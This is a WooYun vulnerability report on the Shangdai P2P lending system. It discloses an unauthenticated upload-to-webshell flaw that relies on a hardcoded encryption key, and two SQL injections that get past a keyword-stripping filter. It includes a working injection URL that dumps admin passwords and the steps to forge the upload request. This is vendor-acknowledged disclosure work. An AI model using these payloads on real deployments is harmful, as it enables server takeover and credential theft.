当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(11) 关注此漏洞

缺陷编号: WooYun-2015-136390

漏洞标题: 尚贷p2p网贷系统前台getshell+两处sql注入(无视任何防御/无需登录)

相关厂商: shangdaixitong.com

漏洞作者: 牛肉包子

提交时间: 2015-09-19 11:37

公开时间: 2015-12-18 12:12

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-19: 细节已通知厂商并且等待厂商处理中
2015-09-19: 厂商已经确认,细节仅向厂商公开
2015-09-22: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-11-13: 细节向核心白帽子及相关领域专家公开
2015-11-23: 细节向普通白帽子公开
2015-12-03: 细节向实习白帽子公开
2015-12-18: 细节向公众公开

简要描述:

demo有安全狗,然并卵。

看官网描述还是比较屌

http://www.shangdaixitong.com/index.html

详细说明:

代码位置 plugins\avatar\avatar.class.php

code 区域
function onuploadavatar() {

@header("Expires: 0");
@header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);
@header("Pragma: no-cache");
//header("Content-type: application/xml; charset=utf-8");

$this->init_input($this->getgpc('agent', 'G'));

$uid = $this->input('uid');
if(empty($uid)) {
return -1;
}
if(empty($_FILES['Filedata'])) {
return -3;
}

list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']);
$imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');
$filetype = $imgtype[$type];
$tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype;
file_exists($tmpavatar) && @unlink($tmpavatar);
if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) {
@unlink($_FILES['Filedata']['tmp_name']);
list($width, $height, $type, $attr) = getimagesize($tmpavatar);
if($width < 10 || $height < 10 || $type == 4) {
@unlink($tmpavatar);
return -2;
}
} else {
@unlink($_FILES['Filedata']['tmp_name']);
return -4;
}
$avatarurl = AVATAR_DATAURL.'/tmp/upload'.$uid.$filetype;
return $avatarurl;
}



首先通过$this->init_input($this->getgpc('agent', 'G'));跟进去

code 区域
function init_input($getagent = '') {
$input = $this->getgpc('input', 'R');

if($input) {
$input = $this->authcode($input, 'DECODE', 'deck');

parse_str($input, $this->input);
$this->input = $this->daddslashes($this->input, 1, TRUE);
$agent = $getagent ? $getagent : $this->input['agent'];

if(($getagent && $getagent != $this->input['agent']) || (!$getagent && md5($_SERVER['HTTP_USER_AGENT']) != $agent)) {
exit('Access denied for agent changed');
} elseif($this->time - $this->input('time') > 3600) {
exit('Authorization has expired');
}
}
if(empty($this->input)) {
exit('Invalid input');
}
}



可以看到$input = $this->authcode($input, 'DECODE', 'deck');其中key是固定的。这个过程就是dz那个函数加密,然后注册变量。我们回过头来看这句代码

code 区域
$tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype;



如果uid和filetype这两个变量可控的话,就估计就好玩了。

其中

code 区域
$uid = $this->input('uid');

这uid肯定可以控制了。然后继续看到

code 区域
list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']);
$imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');
$filetype = $imgtype[$type];



这个很好bypass,我们只有上传bmp格式的图片就行。因为bmp不再这个数组里面,所以得到的$filetype就是为空。



然后所有条件都达成了。我们只要将uid=一个php文件名称加密一下就行了。具体看漏洞证明







注入

代码见plugins\html\areas.inc.php

code 区域
<?php
function gbk2utf8($str){
return iconv("GBK", "UTF-8", $str);
}
$order = " order by `order` desc,id asc ";
if (isset($_GET['area_id'])){
$city = $_GET["area_id"];
$sql = "select * from {areas} where pid=".$city.$order; //注入1
$result = $mysql->db_fetch_arrays($sql);
$category['id'] = "";
$category['name'] = gbk2utf8("请选择");
$categorys[0] = $category;
if ($result!=false){
foreach ($result as $key => $row){
$category = array();
$category['id'] = $row['id'];
$category['name'] = gbk2utf8($row['name']);
$categorys[$key+1] = $category;
}
}

$json = json_encode($categorys);
echo $json;
exit;
}

if (isset($_REQUEST['value'])){
$_REQUEST['area'] = $_REQUEST['value'];
}

$name = isset($_REQUEST['name'])?$_REQUEST['name']:"";

$type = !isset($_REQUEST['type'])?"":$_REQUEST['type'];
$class = !isset($_REQUEST['class'])?"":$_REQUEST['class'];

if($type!=""){
$_type = explode(",",$type);
}else{
$_type= array("p","c","a");
}


$province_id ="";
$city_id = "";
$area_id = "";
if (isset($_REQUEST['area']) && $_REQUEST['area']!=""){
$id = $_REQUEST['area'];
$sql = "select pid from {areas} where id=$id ".$order; //注入二
$result1 = $mysql->db_fetch_array($sql);
if ($result1=="") $result1['pid'] =0;
if ($result1['pid']==0){
$province_id = $id;
}else{
$sql = "select pid from {areas} where id=".$result1['pid'].$order;
$result2 = $mysql->db_fetch_array($sql);
if ($result2['pid']==0){
$province_id = $result1['pid'];
$city_id = $id;
}else{
$province_id = $result2['pid'];
$city_id = $result1['pid'];
$area_id = $id;
}
}
}



然后看plugins\index.php

code 区域
<?
include ("../core/config.inc.php");
$q = !isset($_REQUEST['q'])?"":$_REQUEST['q'];
$q= str_replace(array('.',''), array('%',''), $q);
$file = "html/".$q.".inc.php";
if (file_exists($file)){
include_once ($file);exit;
}

?>



通过这个包含进来的。但是有个全局的waf。就是这个waf导致安全狗完全失效

code 区域
function inject_check($sql_str) {
$sql = array('select', 'insert', '\\\'', '\\/\\*', '\\.\\.\\/', '\\.\\/', 'union', 'into', 'load_file', 'outfile');
$sql_re = array('', '', '', '', '', '', '', '', '', '', '', '');
return str_replace($sql, $sql_re, $sql_str);
}



看到这个我笑了。写两次不就绕过了。而且狗都认不到了



第二处注入类似

漏洞证明:

getshell过程



第一步

code 区域
urlencode(authcode('uid=xx.php&agent=40c090704abef6fda9db2db421e5beef&time=1440325609','ENCODE', 'deck'));



先拿到加密后的密文

code 区域
2967F8nf9PUYEJQ9XStSVchk%2FditTPbsewF5I7MldaFsxaY0LpRvvqQwb39IPSQjo0pJ3HjrsfzsWi67GZuAsg4NwNk7mKX79AOk5LFS5Ym03iWCNl6Fy13wZo4wfQ





然后构造

code 区域
/plugins/avatar/index.php?m=user&inajax=1&a=uploadavatar&appid=1&input2967F8nf9PUYEJQ9XStSVchk%2FditTPbsewF5I7MldaFsxaY0LpRvvqQwb39IPSQjo0pJ3HjrsfzsWi67GZuAsg4NwNk7mKX79AOk5LFS5Ym03iWCNl6Fy13wZo4wfQ&agent=40c090704abef6fda9db2db421e5beef&avatartype=virtual



只要像这个地址上传一个bmp文件就行。



QQ截图20150823215333.jpg





然后成功shell了



QQ截图20150823215506.jpg





由于这是一个加密解密的操作,所以安全狗什么的并没有什么卵用。









注入

code 区域
?plugins&q=areas&area_id=1%20ununionion%20selselectect%201,password,3,4,5,6,7,8,9%20from%20tuanshang_users_admin%20limit%204%23





QQ截图20150823220327.jpg

修复方案:

好好过滤,重写全局,随机key

版权声明:转载请注明来源 牛肉包子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-09-19 12:10

厂商回复:

感谢白帽们的辛苦,该漏洞为V3演示系统所存在的问题,我们将所述问题进行排查修复,同时我们将加强安全漏洞排查,将安全问题放到首位,欢迎对我们的系统安全性继续监督,我们的成长离不开大家的指导和帮助。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-09-19 11:43 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    0

    p2p杀手!

  2. 2015-09-19 17:57 | whynot ( 普通白帽子 | Rank:670 漏洞数:134 | 为你解冻冰河 为你放弃世界有何不可)
    0

    厉害! 牛肉包子

登录后才能发表评论,请先 登录